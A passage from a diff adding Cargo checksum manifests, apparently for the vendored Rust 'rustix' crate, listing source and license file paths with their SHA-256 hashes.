eb9fd4a4d43922da659b895d7","src/runtime.rs":"695e60b9cc22755ce0e653fd63a0c73024a14eb8f576c6071dad6806c32f5552","src/shm.rs":"b96fe8a05ee5d4536464a8843a776d43a938abaf22c772fc35b5373d95644a8d","src/signal.rs":"a294b49d487dafaa42e534f8b1d93e87bec135087676b2ba2ef865cf2fccdaf2","src/static_assertions.rs":"504cf66f0d5b8e335be02f9ae8b0a355abc98c2c82eec0098bdf0988e662e260","src/stdio.rs":"a5de2d7d9c3c5a901f88b6acf4754687c958a2f3a93c7945c2b8fcb948d468af","src/system.rs":"4d7d1eff18094ec85a8ead70a7ccbe8ef78fd7f5705b7dfe3fa52541e9494887","src/termios/ioctl.rs":"a1ac967f7811a482f8bb53847c37c8359f518cd26da9df7b816ba678a0139623","src/termios/mod.rs":"b44b7caa60b6f458657ed58a0e0eca41bb4e6d6be4b0f042bbb8ab7056cebe4b","src/termios/tc.rs":"e41312d15464b83b2457c2502fc3f3b9998cfb02ba68739026dd4285cc7130ac","src/termios/tty.rs":"35a5fc2d26501e0e6dde1a755eeccf7b4f3b4702c5bac30e0953220808ef7034","src/termios/types.rs":"38167a38fb83e84f2845f86b373ecaaa3ebf6c2f91dccd07c10539201d6f5070","src/thread/clock.rs":"f49eb7271eb3e6831d9b0c3a01bfddbe4bd69dee237bbaa059884de452b29e79","src/thread/futex.rs":"985f9a0dce1e2a4892ae7f26bd1bf119ceae3f9fa6b4707e166624fc1cee76d4","src/thread/id.rs":"ad72db4fea9fccb728310bbfd01ef8c00f6cc60fa2a750f6349646a134f7009b","src/thread/libcap.rs":"4c51b7df566d38dd0f85f81ef53279a745a39f0f4e1154791fd38438e2ca7db1","src/thread/mod.rs":"98634ece0b882f123ad887017692f2a4d94a23a1dec278ed660b3497cac5cceb","src/thread/prctl.rs":"6caec7eb4fe122e80ba1ecafc56b710c79ab8b3c97529d5beba74d87af356875","src/thread/setns.rs":"ea9142b1f3a5b3f329683be185f960c50e5c1636149e91fbf59e88a897fc607d","src/time/clock.rs":"e59a29f1bed8c31c3d5b6fad60f2d4fa6cab8dd8e86148bb3693a5e3a1ce735f","src/time/mod.rs":"43afee938c80d124d04d4ba190c03f4d21d1e3bfc154fff309211e4f6eabe940","src/time/timerfd.rs":"f17092b84553741aa2d2b44c6992b5d2c8c96cc2c2007fc9a2c6b2064485e53f","src/timespec.rs":"32a4d930cbc0f6dbd23153290db920671cf4ce65a4a127e176f897c1cde42d7d","src/ugid.rs":"6616c6e35b7e43aee5b150f1efae7a50711e0947943c9a96833dbe214ad9e85f","src/utils.rs":"9ae76f8a41d6cc350cdd58c9084b5c3a5a708eeecd769783debdbcbaef442182","src/weak.rs":"c7cf03bf2aeba494b1999ab32183fa8c603ab72e254c0e312a67f168877e410d"},"package":"2b426b0506e5d50a7d8dafcf2e81471400deb602392c7dd110815afb4eaf02a3"}
+\ No newline at end of file
++{"files":{"CODE_OF_CONDUCT.md":"f210602311e3f74b32f46237fd55f4ce36d798e85e3db1432ec667f63a7ffc44","CONTRIBUTING.md":"3fd57de5c678db1c972da676a8231d2fde9820695ef1f0d53f1e55a3e81d9de0","COPYRIGHT":"377c2e7c53250cc5905c0b0532d35973392af16ffb9596a41d99d202cf3617c9","Cargo.toml":"5a6eafc41863c968362a1b8424dd0a5e1ce6502496b2999ef97ceac81f30fbcd","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-Apache-2.0_WITH_LLVM-exception":"268872b9816f90fd8e85db5a28d33f8150ebb8dd016653fb39ef1f94f2686bc5","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","ORG_CODE_OF_CONDUCT.md":"a62b69bf86e605ee1bcbb2f0a12ba79e4cebb6983a7b6491949750aecc4f2178","README.md":"0acc443488c1d6f7a0a80a91385d06c7a1920c1f5c847214dd6c23a6bd027f75","SECURITY.md":"4d75afb09dd28eb5982e3a1f768ee398d90204669ceef3240a16b31dcf04148a","benches/mod.rs":"e260e67273aa0a37cffdc5cd451699335b8ee656c17275a0d0f2b4563c6018ca","build.rs":"5f93559819ca7fe233f01579d51ff5b58cb6e96ef9e7817a3358a9b410d5bbf6","src/backend/libc/c.rs":"92d9c17e26569a9d09cd05a83a06df514ffbb02795765fc8bb0d74bda7711a51","src/backend/libc/conv.rs":"b66d080db3a4c2756fe722462b543982bf88e5bc8071b9dc98d28ec2aee3dbfc","src/backend/libc/event/epoll.rs":"b6f00ec602f9a6b9a2b7a66a242efda088b67ed66053692dcbba683df4fdaf19","src/backend/libc/event/mod.rs":"7f8547c599b8263eb791890bbe4a0b22fe2676d007ffdcc3e07b2e48d1c994db","src/backend/libc/event/poll_fd.rs":"1186dd69fc78d474975f1b8c55c9dd261229cb0c53a0dd2a88754ef62529a917","src/backend/libc/event/syscalls.rs":"295a930521b345192caaf916b39189299f81f5f7c9f1aaed235baf3bf6f2f5fa","src/backend/libc/event/types.rs":"e81130bc07e8f762ea2942bca1bde048ade0df24aac619907f3055d2dda7d522","src/backend/libc/event/windows_syscalls.rs":"ebfac665c6676c4b803134ab8806be8aa2e96bdbc7799a19c544cd9069b35787","src/backend/libc/fs/dir.rs":"71332c794f4e2438e7c700a0d2206fe0088cf98473030e3f8ccddf252ad7f5b2","src/backend/libc/fs/inotify.rs":"a027a718db8bf6ff9a778c2cfa706850b466240b0a2296d72b9834c0096968e8","src/backend/libc/fs/makedev.rs":"89c679a0ef18dd41b3c6223bce0f329ad35bf6cadbf16e47b33fad3f312ba4a6","src/backend/libc/fs/mod.rs":"3d28b803011b57da6315bb747daf0117218687c0cc610358f5dafddf0b7d44d3","src/backend/libc/fs/syscalls.rs":"229d1c27d53bfbd35310b05aaf8b3307d6b6e9948faf0655713bc662f901bd02","src/backend/libc/fs/types.rs":"ca25c8271e1fd2ff6c28082884ca112fd5e0523b2aa3cd289cd9a399c962a172","src/backend/libc/io/errno.rs":"d33978855c2e0e97d5e1f7a04ab10894f9f2c3e329e949f259a757f89942074e","src/backend/libc/io/mod.rs":"746647bd864e4ec7717925b6d176cebdb392b7d015070244cc48d92780351dd6","src/backend/libc/io/syscalls.rs":"cbd9e9db566597de0a709247c8ba3bd1e6ce266a128d639273353c706f0592b7","src/backend/libc/io/types.rs":"2efd39bb3df19a9db5496217284f3d2235ddb354fac81dd71861109a56bede0b","src/backend/libc/io/windows_syscalls.rs":"fab3fa099aa89cea56a6edc651dd37750e581534f4f45b04a7e425f130b08468","src/backend/libc/io_uring/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/io_uring/syscalls.rs":"5af8146d5971c833e6fd657f652c618b31f854e1b0811864fba9b658cb633e19","src/backend/libc/mm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/mm/syscalls.rs":"c04c61ad3d7f3b24d13f89144d7fa0a05658cea4763207f9250db4f9362de2fe","src/backend/libc/mm/types.rs":"48406d44d79b102ae9d17860749611d26c1f04e3630e9680dfcb20e2efc148a8","src/backend/libc/mod.rs":"778083f85aaca00aa5c8ec36b541e0e8a3e693660a6acf4722b4508f015c278c","src/backend/libc/mount/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/mount/syscalls.rs":"1bc87501a078616d0190d2e85de55f3f968b8cb79d49bd9eb839a350eed26089","src/backend/libc/mount/types.rs":"1b0d527ae5a272ae441fa35192616a867090204404324a341a7864ae1f5ea3fd","src/backend/libc/net/addr.rs":"9bdc2febb20785bc26a820eaba52cb546c67c79cb547f08105087cd0f79d5861","src/backend/libc/net/ext.rs":"0dd64877abe1ba86b47a2ab34340e3f6cc7b53b22d0bb5e237daf6a82edd46b0","src/backend/libc/net/mod.rs":"5f0bd80a6575aba4a714443ca99af76ad15b053f1f8029aa1d9c7fa10e6d9242","src/backend/libc/net/msghdr.rs":"64825203c09cb60ac4e869cd27a44697f1efe53455c41684279d50d8f0a96701","src/backend/libc/net/read_sockaddr.rs":"b1a72b7bd56cd152ed0731f571e4d9411b2974f860fc045319dc74b5b077e569","src/backend/libc/net/send_recv.rs":"1450ca958431a5bf3a85cdeef88b387f30d5c1215de2c56d164ccda38f21b36c","src/backend/libc/net/sockopt.rs":"178a6622bab25bf1813d6c17151f48d820e238db8cbd05be3aae563902d6c53e","src/backend/libc/net/syscalls.rs":"1c703ea3d7a1d0bfa43ffe07425882f310260589d513e1a936de434fa653cf3a","src/backend/libc/net/write_sockaddr.rs":"6f06f6cf6089fbc43f93f4f3830468735c92277595769867cb6c89e1fe1c299a","src/backend/libc/param/auxv.rs":"fc9476c85482b1d44190289224ccf40c96fbf3a2fe3d8554ddb42acb2e97a8ae","src/backend/libc/param/mod.rs":"5234b8f1bcb886cca6ea003d411d75eaeebe58deedd80e3441354bf46ed85d4d","src/backend/libc/pid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/pid/syscalls.rs":"49ea679b96c0741d048e82964038f9a931bc3cf3a0b59c7db3df89629b9c49e6","src/backend/libc/pipe/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/pipe/syscalls.rs":"8affde100f6a9dfc762b79d1e48be5c1039be414f8ef7d5a6acaba882a68d259","src/backend/libc/pipe/types.rs":"bcf2751691748b5084a6d8d8851b496bc2ee9011fc1c717839b09b07d423eb7f","src/backend/libc/prctl/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/prctl/syscalls.rs":"8a2684f444a7555098dce2b92270d81cefdae902716c6e5d59bd7b0657e8a29d","src/backend/libc/process/cpu_set.rs":"b3d36b01b53b0b6c61a20ed8a69d48eccdd90cc17f82f2926ef1e844f002d0b7","src/backend/libc/process/mod.rs":"3f376060815d2ed78081ddf6fb0cddc97dff5dac2f4934f0672cb09736e16377","src/backend/libc/process/syscalls.rs":"278c87df6321cad2bd37049a7cfeecad7dd54f5e3a8449368da4c3409637e6af","src/backend/libc/process/types.rs":"c011d60d93130e1233ee1d69de1e834a6ce05628220a1c0bea9b5c6eb4c853a2","src/backend/libc/process/wait.rs":"0cc556aed976b4bbb3965f74fd76b8216c755fce25043b7b21ce54afa07c9773","src/backend/libc/pty/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/pty/syscalls.rs":"699a4c325fc590b8b5dabfe5a9ff386809be14dd24bf35aa6ef581b2bd75457b","src/backend/libc/rand/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/rand/syscalls.rs":"78c7201e6bcb75e9cab9486d1878861319f865de2b2c46437be68690bd17bf13","src/backend/libc/rand/types.rs":"4eb0b4cdd0a9b089d1c9f6a25ad1ca97be28a38b7b07a705ec605b773f63f880","src/backend/libc/shm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/shm/syscalls.rs":"60d797d4e85e08e6330e6b8d80094356ce377e5484952f88ae2a6e49231c268c","src/backend/libc/shm/types.rs":"2206eac8ee74951b995e1e80f10bf235cc6b04e0a099f4adefce546378838233","src/backend/libc/system/mod.rs":"38563ea68829ca5a4b1b0695ac8a5c05718e85bdc88a36dc805efdfce45d3909","src/backend/libc/system/syscalls.rs":"abe1093f3495668d8576ae55073c74976cffb04d2e1bc20583d7ec12ac848b06","src/backend/libc/system/types.rs":"6871e16aee14fe2ae03cea798c3e509ffe44778a9c0e5608fd73e2e015876d7e","src/backend/libc/termios/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/termios/syscalls.rs":"77c4c6fdfe036251ee1540df5b398a38d87597a5e7e94abaf9b983419ae4ca24","src/backend/libc/thread/futex.rs":"b666828653b12634bbd7fd709acf69641b648ec40962a1d4f904c5db14d2eff5","src/backend/libc/thread/mod.rs":"fa710053974d7f16a6c49242ee6c10a3b9e1143452b9daeaed8837302a679fff","src/backend/libc/thread/syscalls.rs":"c8e84ad232ec1317be989529c24e204c51bb4e1e0212de2c1937b00bc92e5483","src/backend/libc/time/mod.rs":"38563ea68829ca5a4b1b0695ac8a5c05718e85bdc88a36dc805efdfce45d3909","src/backend/libc/time/syscalls.rs":"f82e0725c5af8a52e61ee83aad2c77694f2f7a72ac1e6eb284109a70ac6edc38","src/backend/libc/time/types.rs":"47ab4178a51c246ecc5f2a2fcca7f6ad9c8a1a45d11dadcb95ee0e4f82e8dfe2","src/backend/libc/ugid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/ugid/syscalls.rs":"8edf91b8790add23902c9f5418da6b0723a371677f29f490e0c8af852f0f1a0c","src/backend/libc/winsock_c.rs":"3bf3884fd250eca806ffdf96da68e29c133a697810b78b333ea449e523e58562","src/backend/linux_raw/arch/aarch64.rs":"2a255c9135bc8a321c180f52b88eb2b158bc9170cd222149caeae63c24587d44","src/backend/linux_raw/arch/arm.rs":"165bccb5883d0136e55d42091183765f83d86e9d37a7cb2cec9ae8af32774db6","src/backend/linux_raw/arch/mips.rs":"24af364aa93fd4b9917639d473336490a143f0d1723b09f388e72d534160ee51","src/backend/linux_raw/arch/mips32r6.rs":"e436a2ade34f2f7c58b8924462b07a2499dfc951e1e1318d51759444fb8b658e","src/backend/linux_raw/arch/mips64.rs":"897da9ddc877963ad59464d7f81dc59df8a7e91251e6adea14cfd946e2740a1c","src/backend/linux_raw/arch/mips64r6.rs":"3c08aea13c1139fb0dfbe74ca3d0147f007c3aa2eda641afb82c46f6aa4f6cd1","src/backend/linux_raw/arch/mod.rs":"37eaeea601d39be00d170856a31a8ec6a27b0d3ac22ab3ee642ab0e45dee237d","src/backend/linux_raw/arch/powerpc64.rs":"dfb001f8636a5e46d728900b0804fe6c374e5e18a6f0e76d7d62e0c07da74477","src/backend/linux_raw/arch/riscv64.rs":"41d33242d941030f46077dc2b1bc4c7913fe7630d693a5a7eef966bcf38f9d8b","src/backend/linux_raw/arch/thumb.rs":"2fd979ab421248c0a4c592bc0cefee63edc26528f469b71b63eaed35356e42e8","src/backend/linux_raw/arch/x86.rs":"81c73c0a13925854b54db754f533dec565b1db2d9586e210a2450c6f5915171d","src/backend/linux_raw/arch/x86_64.rs":"e929036a1f3cf93ba538f4523b241605cc7b5e61f84ffe6d9d5cdbcb6f73e543","src/backend/linux_raw/c.rs":"74cdf34fcd5bba9628c04585fa13721073e2bffe6740315c7655d1a55150230f","src/backend/linux_raw/conv.rs":"fd339c2e78e6470cb03614540bea2958eec83f1b6cbecc68696a2d2061365f90","src/backend/linux_raw/event/epoll.rs":"4ae8f9de28c6875ab29cde7da9b4b01a6578e905c7a0e0b461d26025cb24ab52","src/backend/linux_raw/event/mod.rs":"72e46b04637e2d1d2a6b97af616144995399e489d1fe916faf835d72fc8c64cd","src/backend/linux_raw/event/poll_fd.rs":"fe1c289980384edf7334a4afe92f92cb6f51b7c0431ecb19930426a3bdb89fa5","src/backend/linux_raw/event/syscalls.rs":"8782cdf978bff0773bf5f35c1056d5c29a40742cf6f99d9606d951b52596cd34","src/backend/linux_raw/event/types.rs":"9538403f2e2c5ffcc939769d83fbfcc2db03874b45c36a2858ba07a05a3e3635","src/backend/linux_raw/fs/dir.rs":"c675dc5413428d2defd6752e99d210da83639779e853db209de6a1c08d35e0e7","src/backend/linux_raw/fs/inotify.rs":"9fc5edea36e347041a39e583cb473dd84af40c63fff3dfbb85a1a97d2833d8e5","src/backend/linux_raw/fs/makedev.rs":"c6b4505c4bcbbc2460e80f3097eb15e2c8ef38d6c6e7abd78e39c53c372139e2","src/backend/linux_raw/fs/mod.rs":"8689e46f9c4c3e1190ae5fe39176c573cccac10b3739472128ca237f41e2686a","src/backend/linux_raw/fs/syscalls.rs":"a4512f58e2ef01bf0799c96fa7821284866b6826594642565f46d93e566e2e12","src/backend/linux_raw/fs/types.rs":"ccbce0b7971064c71b16a341b7f39bf2c375262ea199d6fcf9d1b073b032ccf1","src/backend/linux_raw/io/errno.rs":"2681fe1f7da132414606a7c0dbc1c2cbc43e45f326f00d06cdff51d9724c8c5e","src/backend/linux_raw/io/mod.rs":"7ae2324427892cca6f5ab53858d847b165f790a72ec25f3d99fb15f0506c9f27","src/backend/linux_raw/io/syscalls.rs":"831ce424f0032e6891d46503e972313fd7a46f15cb2fbb1f87e40fb05a018e9a","src/backend/linux_raw/io/types.rs":"d0df5a62248e1ba19af0f89f86da7ba2312d97065c2814ddf6b08a4a0db23bad","src/backend/linux_raw/io_uring/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/io_uring/syscalls.rs":"0f7c9cb7ccddf5687e4b9e5b23558871a452a29ac6095a0184a06c47b9b18eb6","src/backend/linux_raw/mm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/mm/syscalls.rs":"ac77ee94bb26bc959d3b077ef60e72863ef845c1438646b61755bdb861467bc6","src/backend/linux_raw/mm/types.rs":"46abdd2492301b7fe542ea3949eef2cfe28959cdd1f571ee1350e35b6517349b","src/backend/linux_raw/mod.rs":"bb26fe4783f834a4624c99ecf9e4ea8fa4d1c7fe9adfb6d7310fac689e7797bc","src/backend/linux_raw/mount/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/mount/syscalls.rs":"3947261b5d46b9737f02dc5352c3a3a35c63c461fd75bcd8ae6619dfc0bfb54d","src/backend/linux_raw/mount/types.rs":"af364e3f054b0fa55562827944235055beb752716347645cd1775d1a4d5615c1","src/backend/linux_raw/net/addr.rs":"fbb6c071a8ebc2c557c7013d36d4b540c1ff6ed63103d0a8abcacd8977fbf5c8","src/backend/linux_raw/net/mod.rs":"904b2ccd4228ebcda25db0223b92fb03e4042bcc7b0a202f19410a8a5ff517a5","src/backend/linux_raw/net/msghdr.rs":"a88e8395dd5a25c103dc2172d4e7013e5104a6d70091ad78efd286ebc8284acf","src/backend/linux_raw/net/read_sockaddr.rs":"4ab5d470f03f19a928327603e1d55de8b9e21cbe4bfc6ed65d856803092b1c90","src/backend/linux_raw/net/send_recv.rs":"6d5d2aec61a3c1b4a5fef1a8a487dc8e163da8988d1237541ed008baa01128cc","src/backend/linux_raw/net/sockopt.rs":"2ea8625ecd68a799c14ed48dec2f3e01f085222b6cc36f4916b20143e08ae575","src/backend/linux_raw/net/syscalls.rs":"b231754af1c94f61d206839b45f51516e0210761bbbcc1ef68c1fe6fc8a1bbbb","src/backend/linux_raw/net/write_sockaddr.rs":"a9374256cb47b3f4d5fec308986a109ce51a521abab31590df1f66c04c07d437","src/backend/linux_raw/param/auxv.rs":"c6a74c0b41aa28c850a80aad7cbad677df65c1f3eb78415872f6f3d1166716f4","src/backend/linux_raw/param/init.rs":"a5024f9afe361884f22fb4d65e632ccd8a60f1138ff6bd526df600d40e0d9b7e","src/backend/linux_raw/param/libc_auxv.rs":"167621c0b1bfd06c91c1201e9404d6624aa0a702ade17c6e37d9370c636be589","src/backend/linux_raw/param/mod.rs":"2e6a1a1c00351b9c88bd615aa923f71d76208df5626dd9bea03067f28f81dc31","src/backend/linux_raw/pid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/pid/syscalls.rs":"eef6aa01830ddd510b83f507da2002c03e58318b73744be2c06ebbe33c4f194f","src/backend/linux_raw/pipe/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/pipe/syscalls.rs":"366c730fc3e991bddb9f5a15b8c3917a8e6ace6d1d5a9113b2749e476faf6f83","src/backend/linux_raw/pipe/types.rs":"caee78eaf13af02e5c4024c7459f23287dfd2c544ebab1dc5f728106fafe24da","src/backend/linux_raw/prctl/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/prctl/syscalls.rs":"a18b224307e0d27bda9b7b85c75cd6c7ddfe39f5ce52efb7bb0bf0585b757343","src/backend/linux_raw/process/cpu_set.rs":"dfdcbdf35aff6a3e08e7d38193bf18c12ca8aa64eb0dc417667be82dcc0f7c55","src/backend/linux_raw/process/mod.rs":"fb393c70a9c63ef9a6bf1fb5a2dc94f07d6b0b6987cc5231c15c607015dafd68","src/backend/linux_raw/process/syscalls.rs":"a2e446ba4e09727d11fc3b3d4bb316a659399aad186c08aa5bba80e62741265a","src/backend/linux_raw/process/types.rs":"6811ba822bc12a1a6336649151b4adb1f5d3365684a31c07f01953ea9547743d","src/backend/linux_raw/process/wait.rs":"921aee4b0048746087f52615a98edc2aa0fb4b53d6df44be4533098df55d1b05","src/backend/linux_raw/pty/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/pty/syscalls.rs":"ae09c4aecc0ae87b1ca58d82efc58007b9dddaae78460d615f48da19d1cd0f89","src/backend/linux_raw/rand/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/rand/syscalls.rs":"a84f70251672e92f253838bf05e989434f67373233e88d21d8835cbb792b1fe3","src/backend/linux_raw/rand/types.rs":"a21dbb1ab31eed6b59a57520be5a3c603c36d18ea74e67f7527f40835ba209a3","src/backend/linux_raw/reg.rs":"def5f88730bd625b2298c86559b5a378fce4bf6ce225204740ba087e034abce6","src/backend/linux_raw/runtime/mod.rs":"b2cae8cce3822c3c92942f06ea0b68464040dcac33c6f0f7ee392c6269993347","src/backend/linux_raw/runtime/syscalls.rs":"90849c8e429f215c225d430e7f550b5da0bb96054ef01745d3184f6c890ba8cf","src/backend/linux_raw/runtime/tls.rs":"6316060560a112c2e9cd9807cdba6e8c91414113a04a739160929ae9a67bba1f","src/backend/linux_raw/shm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/shm/syscalls.rs":"3ebf91610b02de0312e1f0f0cc5d56e12b4d93794540087b3182cbdf3cb9c8db","src/backend/linux_raw/shm/types.rs":"b831b474aba7eb97167c9289f5257776a72b39134b44e67a0ecfcef2394dcd47","src/backend/linux_raw/system/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/system/syscalls.rs":"2af6c2672a6528b404b52f501d9803a63e9f47886d3b5d2d2dc5a71cefa7327a","src/backend/linux_raw/system/types.rs":"1ceab8d738a71043473b26e97fa3fd79d588a86d4774cbc9b9e1d4f1447a016e","src/backend/linux_raw/termios/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/termios/syscalls.rs":"151f03b938aec36a38fbf4e4b507ddc84d0999a246ee48abd5893464daa736a8","src/backend/linux_raw/thread/futex.rs":"0aa0f9f5be6a79de81e82c9f11f1bf8831f682a4b2f6cb29669e1591636f084e","src/backend/linux_raw/thread/mod.rs":"6ad4a4b90b9234e79900b27ebbe8837e3a7a36aec532912e3e253edce5225067","src/backend/linux_raw/thread/syscalls.rs":"0e3dca63be7322e1e9c58456b28eb8548abb9f08b4436b87b139e891c01c446d","src/backend/linux_raw/time/mod.rs":"672724f55b7b7be6a7452bb1cc2d28b5f0aaa840a2856fe363acce624e1beefc","src/backend/linux_raw/time/syscalls.rs":"451da0bbb66accdf58ee7f2f8746a93b22ee985907a08717a3d3b1650457d878","src/backend/linux_raw/time/types.rs":"028d2993df8fffe5581f7082b8849381bb21928930dc93e4a536a9c7a316c71d","src/backend/linux_raw/ugid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/ugid/syscalls.rs":"8c86d251db33b399a1d1cbb8e87afe650b78db84f444d3251309b7a0480b54f7","src/backend/linux_raw/vdso.rs":"056314f72c71d4b041739337ca2098afb7fe070f844327f462c293f43481b75b","src/backend/linux_raw/vdso_wrappers.rs":"3bec7ee7daacc93b26c15e829e3ecdea62f9fc62244841ec80ee47a55806a69e","src/bitcast.rs":"e21c87c292c781b27256c6f5dcf9fd52dd69ed6e21016cbd67ac31a8219ebf8e","src/check_types.rs":"e52f710e1cfc12ca13a495f2b43c227b293ff295e1ce3ab332935b28a7579872","src/clockid.rs":"e41172c87401ef7b8ad37ec09b5b690c55c51b37009414a2089b34dcac9d93a9","src/cstr.rs":"41af2a4429fe6c67a8883f8a8f63d66c90df566abda74fd2b03bcef7b9f24218","src/event/eventfd.rs":"81cbd08f7bdf40a6ce1ca692b63da1dc8ba925282990668d9d68f1203e839fa1","src/event/kqueue.rs":"222842df22e66f41d93dacd3cba933810d9313d5ca9959fddabedda9c4312bf2","src/event/mod.rs":"326a7ddfeb33bb95dd31391d65f400fa622e5d0ab827c096cab16af4b6843b51","src/event/poll.rs":"0ee583dbd457a573a82a06c04a2a24bd2c76e751d27a435507d55338e2871327","src/event/port.rs":"4e51ff150e5d17cbd44aa64a38b99c15e26eaaf2e350768b5dcacdfde4fa5212","src/ffi.rs":"c2b8b38c02d72749aceb715c496726caba1f1fa989ad3856d0103a2fafed89ed","src/fs/abs.rs":"10e1a148a5b05476efbb591dcc969c1a6caf3d2d9592741eef22341a97c8f4a3","src/fs/at.rs":"a12f382f7b544ae4bbb7a967de43178dad796e05fd6eb8136e1a34236b48f9dc","src/fs/constants.rs":"23923e0fce3221bdac371fe2d05028f30a87dba4f9b4a573b69dc2d6d39320b2","src/fs/copy_file_range.rs":"d3b644374390d482b2ff749a2459458872b57d0dcf9670368739b7833509a7c2","src/fs/cwd.rs":"9f429a79ace6e17455634da09216ee0ad3d067a4541518b3193ae6a8d9ff1e26","src/fs/dir.rs":"347a52f4ca9ac6321c52e802e97ec90d1b4c62ec955c8996fc17f8f5aed69966","src/fs/fadvise.rs":"1220e2cf5cf58fc7cc950d48738050a052c504f745ca67130daa6410e248230a","src/fs/fcntl.rs":"1d1ee1e0bc962779e1cc1b8b76f39c820746240557daa9e14b47b1799120dc39","src/fs/fcntl_apple.rs":"e2f23f038083621bcdecc98d02ce1023508afaecdb2ed0fba5c8b70f955301e5","src/fs/fcopyfile.rs":"ce565f61e1fbf2e31086077c2f1d01b6bb3b048915edda87fe9a4a4f5e8ff7e4","src/fs/fd.rs":"fe53f211e91352d522ac4f3b553a9366506458e2158295a93c5e746618f7a5fe","src/fs/getpath.rs":"28f6970fc1bbc37bb35c84724b59eac436ea7407a4522e18c2bdacb1fdd2edd9","src/fs/id.rs":"1b5c8a8baf9a9bb1f895f97189cea4e5982a0d35b192afeec6340a6c6222e0cb","src/fs/ioctl.rs":"18b44e1708c7160c3bb7efaf27eefb6d11671f91d5008144fc74695d75a226c6","src/fs/makedev.rs":"85520b484cb7c15ab71ea1c368578ea3b7e484d82f8510db92b6ce9f7ca341ae","src/fs/memfd_create.rs":"00df492a3afdfc65a07d6849422596bf6cd4608a653d5d25ba54d6640eacda11","src/fs/mod.rs":"2192ea7f6f81a18d892d3526df00c43d83669f1a1734957ba94cf8269980792e","src/fs/mount.rs":"8f6ea2b997dd83c50c90291b9ada3ed77a9ce1ad701c9b0d533b5113b317be5b","src/fs/openat2.rs":"4a95c15dab533a41201b5fa25c8a212956b7571d58cad696bdaf45af8aef96db","src/fs/raw_dir.rs":"18ad797876d6230c38d4cacbed081c4028e03ace477d0520d9b226b40de942f0","src/fs/seek_from.rs":"a9efa0feb9ac789cf47667e91efee2e3f2dcde16cb3b7a928c99da640fa0e0d6","src/fs/sendfile.rs":"e3b2058741cf4b1698f34d84bb37130cf2b72806d522a16fe541e832cde136cb","src/fs/statx.rs":"f925be3d9a179a903549b3ac18038d004f4f2021e46dad4aa2757907aebefeca","src/fs/sync.rs":"a3b23543834281f347b0f873bd38154d31d404871188ac08f2b20b9196234cfd","src/fs/xattr.rs":"5e222adb52caf69d949ab3f944fb2a482dd6ca3a47200532ca6e72d44cbe8334","src/io/close.rs":"0aa3cd05a8fed8e5244f97b8b6c2e7f65ed93a4e5435c6329852bb3da7514440","src/io/dup.rs":"bbebf4633120e21c7c49ecb93576cffa7e908f8089deb260f8d97426b469a0d4","src/io/errno.rs":"58a4d20ba0924e4d514e3c876fbe08982f1623187642ae14780815e65989c8c8","src/io/fcntl.rs":"5b7696e40757615940745ecc7f33d84678d24f55eba978a8efdd0805cba7b1c1","src/io/ioctl.rs":"3dffbda413fd380f1580e2e75c531a5f4a0487417ea1c235c23fe46b70e46bd9","src/io/is_read_write.rs":"1bfb9ee5d58e0b29b44af12fe2668c7bccc841358698dcde47f1519ff9bb73b4","src/io/mod.rs":"75f1d0646be1d4c7c08b5887d8119b0103be8c25c43ccd4e0e97015508c0bb8f","src/io/read_write.rs":"77b8058769dc0bf5a88d73acd7ce70af1a89c549b00b790e281dc20364bcb6af","src/io_uring.rs":"4e641c9aaeba14890e4a354ad8b1fda8fe617923b4d3d685da22721d66a14bdf","src/ioctl/bsd.rs":"e33772530b1b2d1e7d61ce53d9267e68d88f7f5df13301f90412d89a46c6faaa","src/ioctl/linux.rs":"96df90bbc926783f387e8fe1656841d4c7a857fd4e9f41f95492f7dcece33074","src/ioctl/mod.rs":"d2233ba2a81738828d28d4297f8dafaf254c475174de48bd0fe3891d29a71bfe","src/ioctl/patterns.rs":"af24c47597e619a8e0fd3ca071f21db1963a629b511d9279ef9d36a8030a6fe8","src/lib.rs":"ee2b60b7b29c9f4e0f474534a76